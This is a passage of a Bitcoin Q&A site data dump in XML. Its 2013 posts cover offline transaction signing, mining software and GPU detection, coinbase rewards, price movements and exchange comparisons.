transaction.&lt;/li&gt;&#xA;&lt;li&gt;Copy the contents of &quot;Raw Transaction&quot; to a text editor and save it to a USB stick&lt;/li&gt;&#xA;&lt;li&gt;Shut down, reconnect hard drives, networks and boot up.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You now have a signed transaction which is not yet on the bitcoin network.  You now need to push it onto the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will do a final test of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Visit &lt;a href=&quot;https://blockchain.info/decode-tx&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/decode-tx&lt;/a&gt; (title should be &lt;em&gt;Decode Raw&lt;/em&gt; Transaction)&lt;/li&gt;&#xA;&lt;li&gt;Paste in the raw transaction and click &quot;Submit Transaction&quot;&lt;/li&gt;&#xA;&lt;li&gt;Scroll to the bottom of the result and check the following:&lt;/li&gt;&#xA;&lt;li&gt;vout_sz is the number of destination addresses (it does not include transaction fees)&lt;/li&gt;&#xA;&lt;li&gt;hash is the transaction hash which will be searchable on blockchain.info, etc (once submitted)&lt;/li&gt;&#xA;&lt;li&gt;vin_sz is the number of input transactions you referenced&lt;/li&gt;&#xA;&lt;li&gt;out contains sections (per destination address), so check the &quot;address&quot; values are what you expected to pay coins to.&lt;/li&gt;&#xA;&lt;li&gt;Also add up the &quot;value&quot; sections and divide them by 100,000,000 to get the total bitcoins to be sent (the difference between this and all the referenced inputs will be paid as mining fees)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are completely happy with the above checks, you can now broadcast the transaction.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/pushtx&lt;/a&gt; (Title is &lt;em&gt;Broadcast&lt;/em&gt; Transaction)&lt;/li&gt;&#xA;&lt;li&gt;Paste in the raw transaction and click Submit.&lt;/li&gt;&#xA;&lt;li&gt;It should say &quot;Transaction accepted&quot; if all was good.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-04T20:26:34.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17977" PostTypeId="1" CreationDate="2013-12-04T20:42:09.477" Score="2" ViewCount="1247" Body="&lt;p&gt;To make an offline transaction signing we do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Online PC]:  Create unsigned transaction&#xA;[Offline PC]: Select and sign the transaction&#xA;[Online PC]:  Broadcast to network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[offline PC]:  Create transaction&#xA;[Offline PC]: Select and sign the transaction&#xA;[Online PC]:  Broadcast to network&lt;/p&gt;&#xA;" OwnerUserId="9826" LastEditorUserId="9826" LastEditDate="2013-12-04T20:48:09.210" LastActivityDate="2013-12-04T21:14:52.117" Title="Can bitcoin transaction be signed offline without access to blockchain" Tags="|wallet|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17978" PostTypeId="2" ParentId="17974" CreationDate="2013-12-04T20:43:16.737" Score="4" Body="&lt;p&gt;Answer: Nothing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with the most secure system, you're still trusting their developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, secure encryption is not cracked, it's bypassed.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-04T20:43:16.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17979" PostTypeId="2" ParentId="17977" CreationDate="2013-12-04T21:14:52.117" Score="3" Body="&lt;p&gt;If you know the unspent outputs you have the keys for, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which in practice means that you need to have seen the transactions that have paid you. Once you know that, the actual transaction to spend it can be created offline.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-12-04T21:14:52.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17980" PostTypeId="2" ParentId="17947" CreationDate="2013-12-04T21:24:54.483" Score="2" Body="&lt;p&gt;You need to use &lt;a href=&quot;https://github.com/ckolivas/cgminer/tree/v3.7.2&quot; rel=&quot;nofollow&quot;&gt;cgminer-3.7.2&lt;/a&gt; or earlier.  For some reason, GPU mining was removed from subsequent versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cgminer is the best available miner for your purposes.  &lt;a href=&quot;https://en.wikipedia.org/wiki/Con_Kolivas&quot; rel=&quot;nofollow&quot;&gt;Con Kolivas&lt;/a&gt; is one of the world's great programmers, and we are lucky to be able to use his software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also be sure to read the file &lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/v3.7.2/SCRYPT-README&quot; rel=&quot;nofollow&quot;&gt;SCRYPT-README&lt;/a&gt; to get reasonable performance.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditDate="2013-12-07T09:13:32.527" LastActivityDate="2013-12-07T09:13:32.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17981" PostTypeId="1" CreationDate="2013-12-04T21:26:14.500" Score="1" ViewCount="909" Body="&lt;p&gt;I've got a problem with my bitcoin wallet client, I got around 10 QRK by mining via a pool, transferred them to my local wallet and then sent them to btc-e, I got a dialogue box saying something about the TX being too large and if I wished to add a fee, I said yes, and after that, the TX was registered in my wallet, but now two days have passed and I don't have even a single confirmation, I've searched for the TX and my address in the QRK blockchain explorers and I couldn't find a single reference to my TX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to &quot;purge&quot; that &lt;em&gt;fake&lt;/em&gt; TX and get my coins back (they are unspent, according to the network, there should be a way to do a &quot;rollback&quot;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OLoNQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6012" LastActivityDate="2014-05-05T09:47:44.130" Title="Quarkcoin's bitcoin-qt fork won't recognise unspent transaction" Tags="|transactions|alternatives|confirmations|quarkcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17982" PostTypeId="1" CreationDate="2013-12-04T21:46:31.727" Score="2" ViewCount="7723" Body="&lt;p&gt;about 2 months ago the price was at about 140 USD per coin, but a couple days ago I checked and it was well over 1000! &#xA;what caused the sudden spike in value and will it continue to grow?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2013-12-04T23:33:43.200" Title="why did bitcoin suddenly spike?" Tags="|bitcoin-economy|" AnswerCount="2" CommentCount="3" FavoriteCount="0" ClosedDate="2013-12-05T00:33:57.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="17983" PostTypeId="2" ParentId="17982" CreationDate="2013-12-04T21:51:35.247" Score="1" Body="&lt;p&gt;It is difficult to say, media news about Bitcoin, increased popularity in China and illegal market shutdown brought Bitcoin over 1000 USD. &lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2013-12-04T21:51:35.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17985" PostTypeId="1" CreationDate="2013-12-04T22:08:45.740" Score="6" ViewCount="4567" Body="&lt;p&gt;I'm using the traditional &lt;code&gt;bitcoind -gen&lt;/code&gt; on the testnet to mine some test bitcoins. I did this on one machine for a few hours, and stopped when I found a faucet. Later though, I magically obtained 50 coins in my wallet. I think because blocks have a long confirmation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, so how can I tell when bitcoind has successfully mined a block (and now just waiting for confirmations) &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-03-31T16:26:39.817" LastActivityDate="2016-03-31T16:26:39.817" Title="How can I tell when bitcoind has found a block?" Tags="|bitcoind|testnet|mining-reward|immature-coins|logging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17986" PostTypeId="1" CreationDate="2013-12-04T22:19:40.807" Score="1" ViewCount="87" Body="&lt;p&gt;while using an offline client I have to copy and paste transaction history of the address I want to spend coins from. What if there was a new bitcoin transfer into my address before sending the signed transaction to the network?&#xA;Does the transaction fail? or work fine because there are more bitcoins than shown in transaction history&lt;/p&gt;&#xA;" OwnerUserId="9826" LastActivityDate="2013-12-04T22:31:36.187" Title="Bitcoin: what if I was about to sign an offline transaction using the transaction history and I get paid into same address" Tags="|payment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17987" PostTypeId="2" ParentId="17986" CreationDate="2013-12-04T22:31:36.187" Score="3" Body="&lt;p&gt;It will work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The offline transaction you are signing points back to one or more previous transactions that sent coins to your address; these are the coins that the new transaction will spend.  It's okay if additional transactions come in in the meantime, they just won't be the coins used as the inputs for your offline transactions.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-04T22:31:36.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17988" PostTypeId="2" ParentId="17985" CreationDate="2013-12-04T22:35:48.607" Score="3" Body="&lt;p&gt;If you look in &lt;code&gt;debug.log&lt;/code&gt;, you should see a message that says &quot;proof-of-work found&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an excerpt from &lt;code&gt;debug.log&lt;/code&gt; for a testnet block that I found.  (It was immediately orphaned; in fact an earlier block had been found several minutes earlier but had not yet reached me.  So you won't find it in the blockchain.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitcoinMiner:&#xA;proof-of-work found  &#xA;  hash: 00000000609b21ea1d67f7220d12f7e6f06542907fa24511fa416b286e11cb54  &#xA;target: 00000000ffff0000000000000000000000000000000000000000000000000000&#xA;CBlock(hash=00000000609b21ea1d67f7220d12f7e6f06542907fa24511fa416b286e11cb54, ver=2, hashPrevBlock=00000000b96e8a2e2f27bf209a1059fd10b117cdf5a6373559eb93268853bc04, hashMerkleRoot=f25394d1360a276fa5e3c51b245969d193710d06b5bda12468e11074c8740d50, nTime=1383697696, nBits=1d00ffff, nNonce=2576125723, vtx=1)&#xA;  CTransaction(hash=f25394d1360a276fa5e3c51b245969d193710d06b5bda12468e11074c8740d50, ver=1, vin.size=1, vout.size=1, nLockTime=0)&#xA;    CTxIn(COutPoint(0000000000000000000000000000000000000000000000000000000000000000, 4294967295), coinbase 0330f6010101062f503253482f)&#xA;    CTxOut(nValue=50.00000000, scriptPubKey=0226fe62f7b1812c421efd7638907f)&#xA;  vMerkleTree: f25394d1360a276fa5e3c51b245969d193710d06b5bda12468e11074c8740d50 &#xA;generated 50.00&#xA;keypool keep 6&#xA;AddToWallet f25394d1360a276fa5e3c51b245969d193710d06b5bda12468e11074c8740d50  new&#xA;Committing 1 changed transactions to coin database...&#xA;SetBestChain: new best=00000000609b21ea1d67f7220d12f7e6f06542907fa24511fa416b286e11cb54  height=128560  log2_work=57.064666  tx=708022  date=2013-11-06 00:28:16 progress=1.000000&#xA;ProcessBlock: ACCEPTED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe &lt;code&gt;debug.log&lt;/code&gt; is overwritten periodically, so if your block was created some time ago, you may no longer have this entry in yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newly generated coins &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow noreferrer&quot;&gt;require 100 confirmations&lt;/a&gt; before they can be spent, and &lt;code&gt;bitcoind&lt;/code&gt; apparently won't show them as spendable until 120.  See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10825/why-must-generated-coins-mature-120-blocks-before-they-can-be-spent?rq=1&quot;&gt;this question&lt;/a&gt;.  As far as I know these rules are the same on testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Congratulations on your newfound fake wealth!&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-12-04T23:02:14.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17989" PostTypeId="1" AcceptedAnswerId="22329" CreationDate="2013-12-04T22:36:21.427" Score="0" ViewCount="188" Body="&lt;p&gt;I am running Ubuntu 13.04 64bit with 16GB RAM and this is my VGA card:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00:02.0 VGA compatible controller: Intel Corporation 3rd Gen Core processor     Graphics Controller (rev 09) (prog-if 00 [VGA controller])&#xA;Subsystem: Lenovo Device 2200&#xA;Flags: bus master, fast devsel, latency 0, IRQ 45&#xA;Memory at f1000000 (64-bit, non-prefetchable) [size=4M]&#xA;Memory at e0000000 (64-bit, prefetchable) [size=256M]&#xA;I/O ports at 6000 [size=64]&#xA;Expansion ROM at &amp;lt;unassigned&amp;gt; [disabled]&#xA;Capabilities: &amp;lt;access denied&amp;gt;&#xA;Kernel driver in use: i915&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to run &lt;strong&gt;poclbm&lt;/strong&gt; miner, it doesn't list any openCL devices and says &lt;em&gt;nothing to mine on&lt;/em&gt; ?&#xA;Is there any other miner that I can use on Ubuntu to use and maximize the performance from my VGA card ?&lt;/p&gt;&#xA;" OwnerUserId="10135" LastEditorUserId="5406" LastEditDate="2016-04-25T21:29:54.580" LastActivityDate="2016-04-25T21:29:54.580" Title="Running poclbm miner in Ubuntu 13.04 without ATI card" Tags="|client|ubuntu|gpu-mining|poclbm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17990" PostTypeId="1" CreationDate="2013-12-04T22:49:54.907" Score="2" ViewCount="12912" Body="&lt;p&gt;I am running Mac OS X 10.7 on a MBP and OS X 10.8 on a Mac Mini.  The Mini has a Intel HD Graphics 4000 GPU and the MBP has a 3000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I cannot mine with the MBP as the GPU does not support OpenCL.  The Mac Mini should be able to as the Intel HD 4000 supports OpenCL 1.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer -n&#xA; [2013-12-04 15:35:22] 0 GPU devices max detected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My GPU is not detected.  I have the latest XCode installed as the well as command line tools and compiled bfgminer with the latest install of brew.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to play around with mining and am not interested in buying an ASIC set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I get my GPU to be detected by bfgminer or cgminer?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When I run 'bfgminer --verbose' I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[2013-12-04 17:30:57] JSON-RPC call failed: {    &quot;code&quot;: -1,&lt;br&gt;&#xA;  &quot;message&quot;: &quot;Unsupported method 'getblocktemplate'&quot; }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10116" LastEditorUserId="5406" LastEditDate="2016-03-31T17:19:23.447" LastActivityDate="2016-04-25T20:45:31.797" Title="GPU mining with Intel HD Graphics 4000" Tags="|mac|miner-configuration|gpu-mining|bfgminer|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17991" PostTypeId="1" AcceptedAnswerId="18285" CreationDate="2013-12-04T23:09:11.563" Score="0" ViewCount="1165" Body="&lt;p&gt;Here is a situation: new cryptocurrencies appears with a huge speed and also most of them are just useless clones, there might be some interesting one with new ideas. I would like be know when they appears to read about the differences from previous one. Right now my only place to go is a &lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt; site to and hopelessly search in alternative currencies branch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not effective, and requires a lot of time. So the question: is there an easy way to get notified (something like subscribe to news and get email) when a new crypto was introduced?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-12-18T08:58:56.863" Title="How to keep track on new cryptocurrencies" Tags="|alternatives|currencies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17992" PostTypeId="1" AcceptedAnswerId="17993" CreationDate="2013-12-04T23:10:09.633" Score="0" ViewCount="3275" Body="&lt;p&gt;I just read this &lt;a href=&quot;https://bitcoin.stackexchange.com/a/17980/10116&quot;&gt;answer&lt;/a&gt; which states that GPU mining support was removed from cgminer as of version 3.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what version of bfgminer needs to be used to support GPU mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using bfgminer 3.8.0. On Mac OSX 10.8.5, with an Intel HD Graphics 4000 GPU.&lt;/p&gt;&#xA;" OwnerUserId="10116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-12-04T23:28:00.873" Title="GPU support on cgminer and bfgminer" Tags="|gpu|mac|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17993" PostTypeId="2" ParentId="17992" CreationDate="2013-12-04T23:28:00.873" Score="2" Body="&lt;p&gt;The version you are using is the latest version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports OpenCL GPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which includes Intel HD Graphics 4000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no information of Bfgminer discontinuing GPU support anytime soon.&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-12-04T23:28:00.873" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17994" PostTypeId="2" ParentId="17982" CreationDate="2013-12-04T23:33:43.200" Score="2" Body="&lt;p&gt;TL;DR: No idea, and your question's unanswerable in the first place :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does a national currency rise or sinks in value? Why do a company's shares do the same? You will never get definite answers for these or your original question unless you manage to get into all the participants' heads to know what they were thinking of. Meanwhile, you can listen to pundits or draw your own seemingly informed conclusions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple months ago, when there were these rumors about the US government possibly becoming unable to pay its debtors, Bitcoin started going up and up to the point of doubling its former value - obviously a lot of people were viewing it as a possible haven should the dollar fall. After it was clear such fears were based on nothing the Bitcoin fell down from that high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then it started climbing again, reaching again its former high mark, then doubling it, then doubling again... Looking at the graphs of this spectacular pike its clear to me a good part of that was a bubble caused by speculators jumping to ride the wave, but exactly &lt;strong&gt;which&lt;/strong&gt; event triggered the upwards trend in the first place... to this day I honestly don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some say it's the hearing at the US Congress giving it legitimacy. Some say it's closing the Silk Road cleansed its image, though others say this event caused it's value to fall a bit. Some say it's even more interest by the Chinese... no single event can be clearly linked to this surge in value as was the case in the past with, e.g., the events in Cyprus.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-04T23:33:43.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17995" PostTypeId="2" ParentId="17935" CreationDate="2013-12-04T23:34:20.537" Score="1" Body="&lt;p&gt;Mastercoin Founder here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mastercoin inherits its security model from bitcoin, with some minor changes. To undo a Mastercoin transaction, you'd have to undo the bitcoin transactions containing the Mastercoin transaction data, so we have almost as much security as bitcoin itself. I say &quot;almost&quot; because the order of Mastercoin transactions in a bitcoin block matters, and a block-chain reorg can affect that ordering, because bitcoin miners don't pre-validate mastercoin transactions before including them in a block (bitcoin transactions must be valid before they will be included by a miner). Consequently, in the event of a blockchain reordering event, a Mastercoin transaction which was previously invalid can become valid due to reordering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result is that a Mastercoin transaction with 3 confirmations is less secure than a bitcoin transaction with 3 confirmations, but more secure than a bitcoin transaction with 2 confirmations. I typically say that Mastercoin transactions are &quot;half a confirmation less secure&quot; than bitcoin transactions against double-spend attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, Mastercoin will be MORE secure than bitcoin - specifically against theft and loss. Mastercoin features include the ability to put restrictions on a &quot;savings&quot; address such as temporary reversibility and spending limits. These limits directly prevent theft, and indirectly prevent loss (since it is safer to have more backups of a wallet which can't be stolen).&lt;/p&gt;&#xA;" OwnerUserId="10138" LastActivityDate="2013-12-04T23:34:20.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17998" PostTypeId="2" ParentId="17990" CreationDate="2013-12-05T00:06:16.907" Score="3" Body="&lt;p&gt;The following program will show you the OpenCL-capable devices on a given Macintosh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// clang -framework OpenCL dumpcl.c -o dumpcl &amp;amp;&amp;amp; ./dumpcl&#xA;&#xA;# include &amp;lt;stdio.h&amp;gt;&#xA;# include &amp;lt;stdlib.h&amp;gt;&#xA;# include &amp;lt;OpenCL/opencl.h&amp;gt;&#xA;&#xA;&#xA;int main(int argc, char* const argv[]) {&#xA;    cl_uint num_devices, i;&#xA;    clGetDeviceIDs(NULL, CL_DEVICE_TYPE_ALL, 0, NULL, &amp;amp;num_devices);&#xA;&#xA;    cl_device_id* devices = calloc(sizeof(cl_device_id), num_devices);&#xA;    clGetDeviceIDs(NULL, CL_DEVICE_TYPE_ALL, num_devices, devices, NULL);&#xA;&#xA;    char buf[128];&#xA;    for (i = 0; i &amp;lt; num_devices; i++) {&#xA;        clGetDeviceInfo(devices[i], CL_DEVICE_NAME, 128, buf, NULL);&#xA;        fprintf(stdout, &quot;Device %s supports &quot;, buf);&#xA;&#xA;        clGetDeviceInfo(devices[i], CL_DEVICE_VERSION, 128, buf, NULL);&#xA;        fprintf(stdout, &quot;%s\n&quot;, buf);&#xA;    }&#xA;&#xA;    free(devices);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it fails to show you your GPU then its a driver issue.If it succeeds then its some kind of a configuration error.&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-12-05T00:06:16.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17999" PostTypeId="1" AcceptedAnswerId="18003" CreationDate="2013-12-05T00:07:09.400" Score="7" ViewCount="6070" Body="&lt;p&gt;I understand that currently new bitcoins are awarded during the validation/mining process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how exactly does the system determine that bitcoins that were previously nonexistent should be awarded to whoever solved a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is, once all bitcoins have been mined, the only way to gain any profit from mining is through fees that were voluntarily added to a transaction. How does the system right now know that this is not the case for a given transaction (or a group thereof) and that it should instead create new coins &quot;out of thin air&quot; to reward the workers?&lt;/p&gt;&#xA;" OwnerUserId="9896" LastEditorUserId="5406" LastEditDate="2016-03-09T15:26:56.453" LastActivityDate="2019-04-23T18:57:23.450" Title="How exactly do new bitcoins come into existence?" Tags="|mining-reward|reward-schedule|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18000" PostTypeId="2" ParentId="17999" CreationDate="2013-12-05T00:13:17.313" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, how exactly does the system determine that bitcoins that were previously nonexistent should be awarded to whoever solved a block?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That was decided when the system was designed. Everyone knows it now because it's part of the public specification. The block reward schedule is well known and well understood. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's no different from how we all know that a nickel is worth half as much as a dime -- if you want to use US coins, you have to know and understand that rule because everyone else follows it. Everyone who wants to use US currency has to learn the rules, otherwise others won't accept their payments.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My understanding is, once all bitcoins have been mined, the only way to gain any profit from mining is through fees that were voluntarily added to a transaction. How does the system right now know that this is not the case for a given transaction (or a group thereof) and that it should instead create new coins &quot;out of thin air&quot; to reward the workers?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do people know a nickel is worth less than a dollar? If you want to use a currency, you have to learn its rules. You must know the value of a nickel or you can't properly credit and debit payments that use nickels. You must know the relative value of dollars and pennies. And so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the rules of Bitcoins. If you want to use Bitcoins, you (or the software you use) must understand the block reward schedule, otherwise it won't be able to properly credit or debit payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing complicated or mysterious about it -- it's just the rules everyone else has agreed to, and thus the rules you must agree to if you want to exchange Bitcoins with other people.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-05T00:13:17.313" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18001" PostTypeId="1" AcceptedAnswerId="18008" CreationDate="2013-12-05T00:34:50.117" Score="2" ViewCount="158" Body="&lt;p&gt;This is a though I had a few days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are stakeholders of our current financial systems who would like to secure their wealth. If these stakeholders sense bitcoin as a threat to their wealth, they would want to stop it. In this case they would want to stop it with a &gt;50% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the Bitcoin Papers and found the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The incentive may help encourage nodes to stay honest. If a greedy attacker is able to&#xA;  assemble more CPU power than all the honest nodes, he would have to choose between using it&#xA;  to defraud people by stealing back his payments, or using it to generate new coins. He ought to&#xA;  find it more profitable to play by the rules, such rules that favour him with more new coins than&#xA;  everyone else combined, &lt;strong&gt;than to undermine the system and the validity of his own wealth&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the current financial systems won't get undermined, a &gt;50% attack still makes sense from their point of view.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How big are the efforts to induce a &gt;51% attack? (DDoS / hack Pools + provide own hashing power)&lt;/li&gt;&#xA;&lt;li&gt;Could the crashed BlockChain get recovered? (after implementing attack prevention code)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7195" LastActivityDate="2014-06-26T20:07:59.470" Title="&gt;50% crash induced by stakeholders of current financial systems" Tags="|blockchain|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18003" PostTypeId="2" ParentId="17999" CreationDate="2013-12-05T01:39:36.767" Score="4" Body="&lt;p&gt;There is a rule in the Bicoin protocol that when a block is mined, the block is allowed to include transactions referencing input transaction &quot;0000000000000000000000000000000000000000000000000000000000000000&quot;.  These transactions are allowed to add up to all the unspent inputs (transaction fees) plus the block reward. If transactions total more than this, the block is invalid and not accepted on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://blockexplorer.com/rawtx/881b1853b2e2367763ba4309e954b6d837d009a7f839b69011ae1875067d67e6&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawtx/881b1853b2e2367763ba4309e954b6d837d009a7f839b69011ae1875067d67e6&lt;/a&gt; for an example of one of these transactions for 25.14819476 BTC which is made up of the block reward plus 0.14819476 in transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastEditorUserId="9505" LastEditDate="2013-12-11T19:52:22.923" LastActivityDate="2013-12-11T19:52:22.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18005" PostTypeId="1" CreationDate="2013-12-05T02:57:50.057" Score="2" ViewCount="2292" Body="&lt;p&gt;I just verified at Mt. Gox and am pending verification at Kraken.  However, I quickly realized that there were hurdles that I needed to jump through in order to get my USD into BTC.  Coinbase was a much easier alternative. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What advantage do Mt. Gox or Kraken have over Coinbase?  I realize it's quite easy to move BTC into both Mt. Gox and Kraken hosted wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it purely anonymity, pricing, or something that I'm missing, like trade execution features?&lt;/p&gt;&#xA;" OwnerUserId="8939" LastEditorUserId="1307" LastEditDate="2013-12-05T03:25:46.210" LastActivityDate="2014-11-01T08:38:48.100" Title="What advantage do Mt.Gox or Kraken have over Coinbase?" Tags="|mtgox|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
